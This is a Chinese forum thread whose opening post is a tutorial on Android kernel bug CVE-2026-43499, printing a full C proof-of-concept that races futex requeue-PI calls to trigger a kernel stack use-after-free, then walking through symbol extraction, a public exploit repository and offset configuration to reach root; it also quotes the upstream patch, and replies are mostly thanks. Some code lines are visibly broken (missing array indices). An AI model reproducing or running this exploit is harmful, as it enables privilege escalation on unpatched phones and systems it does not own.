找回密码
 注册
搜索
系统gho:最纯净好用系统下载站投放广告、加入VIP会员,请联系 微信:wuyouceo
查看: 339|回复: 16

[教程] 安卓内核漏洞 CVE-2026-43499 可提权至root

[复制链接]
发表于 昨天 16:58 | 显示全部楼层 |阅读模式
本帖最后由 winpefk 于 2026-7-13 09:51 编辑

这个已经披露, 目前我没有在lineageos23.3的github源码上看到补丁痕迹, 估计最快也得本月合入

有意向root比较新的手机的 (前提有备用机)
的记得机器不要再联网,拔卡进飞行模式
这个漏洞非常容易修补, 只需内核源码里面加8行, 5min 内就可封堵. 因此厂商估计出补丁比较快


这个漏洞比较难利用, 需要把内核内部符号相对地址泄漏出来, 而单靠这个漏洞不一定做得到. (尽管exp内存在slide.c)

以下是poc:

#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/futex.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <time.h>
#include <unistd.h>

uint32_t f_wait;
uint32_t f_pi_target;
uint32_t f_pi_chain;

volatile int a_ready;
volatile int a_tid;
volatile int a_waiting;
volatile int b_started;
volatile int consume;
volatile int stamp_ready;

void futex_pi_lock(uint32_t *uaddr) {
        syscall(SYS_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
}

void futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2, struct timespec *ts) {
        syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts, uaddr2, 0);
}

void futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) {
        syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1, uaddr2, 0);
}

void futex_wait_int(volatile int *uaddr, int val) {
        syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, val, 0, 0, 0);
}

void futex_wake_int(volatile int *uaddr) {
        syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, 0, 0, 0);
}

void wait_change(volatile int *uaddr, int val) {
        while (*uaddr == val) futex_wait_int(uaddr, val);
}

void fill(uint64_t *buf) {
        for (int i = 0; i < 64; i++)
                buf = 0xdeadbee11c518f58ULL + i * 8;
}

void stamp_socket(uint64_t *buf) {
        int fd = socket(AF_INET6, SOCK_DGRAM, 0);
        setsockopt(fd, IPPROTO_IPV6, MCAST_JOIN_SOURCE_GROUP, buf, sizeof(struct group_source_req));
        close(fd);
}

void stamp_pselect(uint64_t *buf) {
        struct timespec ts = {};
        syscall(SYS_pselect6, 256, buf, buf + 16, buf + 32, &ts, 0);
}

void stamp_tcp(uint64_t *buf) {
        socklen_t len = 128;
        int fd = socket(AF_INET, SOCK_STREAM, 0);
        syscall(SYS_getsockopt, fd, IPPROTO_TCP, TCP_ZEROCOPY_RECEIVE, buf, &len);
        close(fd);
}

void stamp_process_vm(uint64_t *buf) {
        struct iovec iov[8];
        for (int i = 0; i < 8; i++) {
                iov.iov_base = (void *)(buf + 0x1000);
                iov.iov_len = 8;
        }
        syscall(SYS_process_vm_readv, syscall(SYS_getpid), iov, 8, iov, 8, 0);
        syscall(SYS_process_vm_writev, syscall(SYS_getpid), iov, 8, iov, 8, 0);
}

void stamp_keyctl(uint64_t *buf) {
        struct iovec iov[8];
        for (int i = 0; i < 8; i++) {
                iov.iov_base = (void *)(buf + 0x2000);
                iov.iov_len = 8;
        }
        syscall(SYS_keyctl, KEYCTL_DH_COMPUTE, buf, buf, 64, 0);
        syscall(SYS_keyctl, KEYCTL_INSTANTIATE_IOV, -1, iov, 8, 0);
}

void stamp_fd(uint64_t *buf) {
        int fd = syscall(SYS_timerfd_create, CLOCK_MONOTONIC, 0);
        int dup = syscall(SYS_fcntl, fd, F_DUPFD, 32);
#ifdef SYS_dup2
        syscall(SYS_dup2, fd, 31);
#else
        syscall(SYS_dup3, fd, 31, 0);
#endif
        close(dup);
        close(31);
        close(fd);
}

void stamp_futex(uint64_t *buf) {
        struct timespec ts = {};
        uint32_t a = 0;
        uint32_t b = 0;
        syscall(SYS_futex, &a, FUTEX_LOCK_PI, 0, 0, 0, 0);
        syscall(SYS_futex, &a, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
        syscall(SYS_futex, &a, FUTEX_WAIT_REQUEUE_PI, 0, &ts, &b, 0);
        syscall(SYS_futex, &a, FUTEX_CMP_REQUEUE_PI, 1, 1, &b, 0);
}

void stamp_lanes(uint64_t *buf) {
        fill(buf);
        // Note that this is only one possible way to control the stack UAF (to get an observable crash)
        // There are several unpriveleged, default avaliable way to control the kernel stack, so this bug is
        // competely not revelent whether the following setsockopt is accessable or not.
        stamp_socket(buf);
        stamp_pselect(buf);
        stamp_process_vm(buf);
        stamp_tcp(buf);
        stamp_keyctl(buf);
        stamp_fd(buf);
        stamp_futex(buf);
}

void stamp(void) {
        uint64_t buf[64];
        stamp_lanes(buf);
        stamp_ready = 1;
        futex_wake_int(&stamp_ready);
        for (int i = 0; i < 100; i++)
                stamp_lanes(buf);
}

void *waiter() {
        struct timespec ts;
        a_tid = syscall(SYS_gettid);
        futex_pi_lock(&f_pi_chain);
        a_ready = 1;
        usleep(200000);
        clock_gettime(CLOCK_MONOTONIC, &ts);
        ts.tv_sec++;
        a_waiting = 1;
        futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
        consume = 1;
        futex_wake_int(&consume);
        stamp();
        for (;;);
}

void *owner() {
        futex_pi_lock(&f_pi_target);
        while (!a_ready);
        b_started = 1;
        futex_pi_lock(&f_pi_chain);
        for (;;);
}

void *consumer() {
        struct sched_attr attr = {
                .size = sizeof(attr),
                .sched_policy = 3,
                .sched_nice = 19,
        };
        int tid;
        while (!(tid = a_tid));
        wait_change(&consume, 0);
        wait_change(&stamp_ready, 0);
        syscall(SYS_sched_setattr, tid, &attr, 0);
        for (;;);
}

void run(void) {
        pthread_t th;
        pthread_create(&th, 0, owner, 0);
        pthread_create(&th, 0, consumer, 0);
        pthread_create(&th, 0, waiter, 0);
        while (!a_waiting || !b_started);
        usleep(200000);
        futex_cmp_requeue_pi(&f_wait, &f_pi_target);
        for (;;);
}

void init(void) __attribute__((constructor));

void init(void) {
        run();
}

int main(void) {
        run();
}

在termux下编译运行, 如果你的机器突然卡死没有响应, 那么说明漏洞存在

测试机器, 小米 pad 6 (pipa) 4.19内核, selinux enforcing.

影响范围 linux 2.6 - 7.0 (含)

如需利用此漏洞,需手工定位内核基地址,并从内核提取kallsyms (内核来源可以是官方ota包)

这个提取待我试一试

实现攻击难度比较大, 但各位可以拿自己家一些废旧机器试一试

如果你机器已经使用正规途径root,假如无法得到ota包时, 最好给内核打补丁, 可以搜索这个patch

rtmutex: Use waiter::task instead of current in remove_waiter()

    remove_waiter() is used by the slowlock paths, but it is also used for proxy-lock rollback in rt_mutex_start_proxy_lock() when invoked from futex_requeue().
    In the latter case waiter::task is not current, but remove_waiter() operates on current for the dequeue operation.

    That results in several problems:
    1) the rbtree dequeue happens without waiter::task::pi_lock being held
    2) the waiter task's pi_blocked_on state is not cleared, which leaves a dangling pointer primed for UAF around.
    3) rt_mutex_adjust_prio_chain() operates on the wrong top priority waiter task Use waiter::task instead of current in all related operations in remove_waiter() to cure those problems.

    [ tglx: Fixup rt_mutex_adjust_prio_chain(), add a comment and amend the changelog ]
    Fixes: 8161239a8bcc ("rtmutex: Simplify PI algorithm and make highest prio task get lock")


然后手工backport

自行从magisk提取libmagiskboot.so解包自己机器ota固件
放到termux家目录


以下假设你已经完成解包(不会的询问ai,再听不懂的请自行放弃root), 家目录存在:
boot.img
kernel
ramdisk.cpio

你需要 git clone github/marin-m/vmlinux-to-elf --depth 1 (自己补全链接)

python3 -m venv ./extract
source extract/bin/activate

现在进入了python虚拟环境, 安装 vmlinux to elf

(extract) ~ $ cd vmlinux-to-elf/
(extract) ~/vmlinux-to-elf $ pip install -e .

迅速地, pip将安装命令 vmlinux-to-elf 到虚拟环境的path
在此之前, 请用binwalk提取文件内最靠前的gzip, 解压, 得到内核 .config 文件, 看下是否存在kallsyms, 如果=y, 继续, 否则放弃.

kallsyms-finder ./kernel > kallsyms

[+] Version string: Linux version 4.19.157-perf-g7332c2f40d36 (root@localhost) (Debian clang version 19.1.7 (3+b1), GNU ld (GNU Binutils for Debian) 2.44) #2 SMP PREEMPT Sun Jul 12 03:39:28 UTC 2026
(为什么如此新? 我重新编译的内核, 我现在在一台已经root, 未修补该漏洞的机器上给大家做测试)
(运行此命令前保持网络畅通,脚本会从kernel.org
[+]   Other related strings containing the version number: [b'Linux version 4.19.157-perf-g7332c2f40d36 (root@localhost) (Debian clang version 19.1.7 (3+b1), GNU ld (GNU Binutils for Debian) 2.44) #2 SMP PREEMPT Sun Jul 12 03:39:28 UTC 2026', b'4.19.157-perf-g7332c2f40d36 SMP preempt mod_unload modversions aarch64', b'/lib/firmware/updates/4.19.157-perf-g7332c2f40d36', b'/lib/firmware/4.19.157-perf-g7332c2f40d36', b'4.19.157-perf-g7332c2f40d36']
[+]   Architecture string: mod_unload modversions aarch64
[+] Guessed architecture: aarch64 successfully in 1.06 seconds
[+] Kernel found in database
[+]   Read kernel source: https://git.kernel.org/pub/scm/l ... .git/tree/?id=v4.19
[+]   Download kernel: https://git.kernel.org/pub/scm/l ... apshot/v4.19.tar.gz
[+]   Kernel release date: 2018-10-22
[+]   Interesting files:
[~]     - kernel/kallsyms.c: https://git.kernel.org/pub/scm/l ... kallsyms.c?id=v4.19
[~]     - scripts/kallsyms.c: https://git.kernel.org/pub/scm/l ... kallsyms.c?id=v4.19
[~]     - include/linux/elf.h: https://git.kernel.org/pub/scm/l ... inux/elf.h?id=v4.19
[~]     - include/uapi/linux/elf-em.h: https://git.kernel.org/pub/scm/l ... x/elf-em.h?id=v4.19
[~]     - include/uapi/linux/elf.h: https://git.kernel.org/pub/scm/l ... inux/elf.h?id=v4.19
[~]     - Documentation/process/changes.rst: https://git.kernel.org/pub/scm/l ... hanges.rst?id=v4.19
[+]   Architecture arm64 (EM_AARCH64) supports 64-bit, big-endian, little-endian
[~]     - Documentation/arm64/booting.txt: https://git.kernel.org/pub/scm/l ... ooting.txt?id=v4.19
[~]     - arch/arm64/kernel/vmlinux.lds.S: https://git.kernel.org/pub/scm/l ... inux.lds.S?id=v4.19
[~]     - arch/arm64/kernel/head.S: https://git.kernel.org/pub/scm/l ... nel/head.S?id=v4.19
[~]     - arch/arm64/kernel/Makefile: https://git.kernel.org/pub/scm/l ... l/Makefile?id=v4.19
[~]     - arch/arm64/boot/Makefile: https://git.kernel.org/pub/scm/l ... t/Makefile?id=v4.19
[~]     - arch/arm64/include/asm/elf.h: https://git.kernel.org/pub/scm/l ... /asm/elf.h?id=v4.19
[+]   Suggested build environment: docker run -it debian/eol:stretch (Debian 9.0 "Stretch" released 2017-06-17)
[+] Found kallsyms_token_table at file offset 0x020e8400
[+] Found kallsyms_token_index at file offset 0x020e8800
[+] Found kallsyms_markers at file offset 0x020e7100
[+] Found kallsyms_names at file offset 0x01ede200 (153425 symbols)
[+] Found kallsyms_num_syms at file offset 0x01ede100
[+] Found relocations table at file offset 0x2676d18 - 0x2affd18 (count=198144)
[+] Guessed kernel base from relocation offsets range 0xffffff800805b680-0xffffff8008086000 -> 0xffffff8008080000
[+] Successfully applied 198111 relocations.
[!] WARNING: Less than half (0%) of offsets are negative
             You may want to re-run this utility, overriding the relative base
[!] WARNING: More than half (100%) of offsets look like absolute addresses
[!]          You may want to re-run this utility, overriding the relative base
[+] Note: sometimes there is junk at the beginning of the kernel, and the load address is not the guessed
          base address. You may need to play around with different load addresses to get everything
          to line up. There may be some decent tables in the kernel with known patterns that could be
          used to line things up heuristically, but this has not been explored this yet.
[+] Negative offsets overall: 0 %
[+] Null addresses overall: 0 %
[+] Found kallsyms_offsets at file offset 0x01e48200
[+] Symbol types => ['B', 'D', 'R', 'T', 'V', 'W', 'b', 'd', 'r', 't']


现在, cd $HOME
git clone github/HORKimhab/CVE-2026-43499

我假定你有一定的动手能力, 你得解压缩仓库里面的zip文件. (apt install unzip && unzip CyberMeowfia-main.zip
这个cve里面有一点小问题导致termux自带ndk无法编译, 请自行询问ai解决

我假定你现在在
CVE-2026-43499/CyberMeowfia-main/Ionstack/CVE-2026-43499/exploit

下, 不然自己cd进去

复制一份模板

cp -r src/targets/tokay-CP2A.260605.012.C1/ src/targets/pipa/

现在的进度是:

后面所有符号表的偏移都可以通过十六进制减法, 将符号地址减去基地址(你刚才填入的)得到

比如:
ffffff8009c39b30 d ashmem_fops
ffffff800ad44b80 d ashmem_misc
就在target.h里面写入
#define ASHMEM_FOPS_OFF (算出来的数字,)
但缺乏真实基地址
可能需要靠试错

而且好像部分符号在一些内核中不存在

基地址得从内核里面提取dtb
这个算常识操作了, 得先弄到dtbo.img.

我们继续:

假如你根据内核cmdline(来自boot.img) 解析到正确的dtbo idx,并且拿到了设备树:

我这里在最后一行, 你得搜索 device-type = "memory"

memory {
                ddr_device_type = <0x08>;
                device_type = "memory";
                reg = <0x00 0x80000000 0x00 0x3bb00000 0x00 0xc0000000 0x01 0xc0000000>;
        };

机器仅8G内存

so,
#define P0_PHYS_OFFSET 0x80000000ULL
#define P0_KERNEL_PHYS_LOAD 0x80000000ULL
#define P0_PAGE_OFFSET 0xffffff8000000000ULL
都是对的

#define DIRECT_MAP_BASE 0xffffff8000000000ULL
#define DIRECT_MAP_END 0xffffff9000000000ULL
#define VMEMMAP_START 0xfffffffe00000000ULL
最后一个存疑
发表于 昨天 17:40 | 显示全部楼层
找基地址的部分我随后更新
回复

使用道具 举报

发表于 昨天 17:55 | 显示全部楼层
学习一下。
回复

使用道具 举报

发表于 昨天 18:19 | 显示全部楼层
了解一下。
回复

使用道具 举报

发表于 昨天 18:41 | 显示全部楼层
学习一下
回复

使用道具 举报

发表于 昨天 19:12 | 显示全部楼层
好像前天就看到有人发了,看了下暂时只支持Google pixel,不知道啥时候支持国产鸡,这些B养的都是锁BootLoader的,一直想root我的VIVO T1...

点评

抱歉,静态分析不一定弄得出来  发表于 昨天 19:34
回复

使用道具 举报

发表于 昨天 20:50 | 显示全部楼层
感谢分享
回复

使用道具 举报

发表于 昨天 21:47 | 显示全部楼层
找基地址的部分我随后更新
回复

使用道具 举报

发表于 昨天 22:51 | 显示全部楼层
楼上辛苦了。
回复

使用道具 举报

发表于 19 小时前 | 显示全部楼层
楼主牛人啊,学习一下
回复

使用道具 举报

发表于 13 小时前 | 显示全部楼层
很好的教程
回复

使用道具 举报

发表于 13 小时前 来自手机 | 显示全部楼层
感谢分享辛苦了🌹
回复

使用道具 举报

发表于 12 小时前 来自手机 | 显示全部楼层
回复

使用道具 举报

发表于 12 小时前 来自手机 | 显示全部楼层
感谢分享
回复

使用道具 举报

发表于 11 小时前 来自手机 | 显示全部楼层
感谢分享
回复

使用道具 举报

发表于 11 小时前 | 显示全部楼层
难得有个提权路径
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1|闽公网安备35020302032614号 )

GMT+8, 2026-7-13 20:24

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表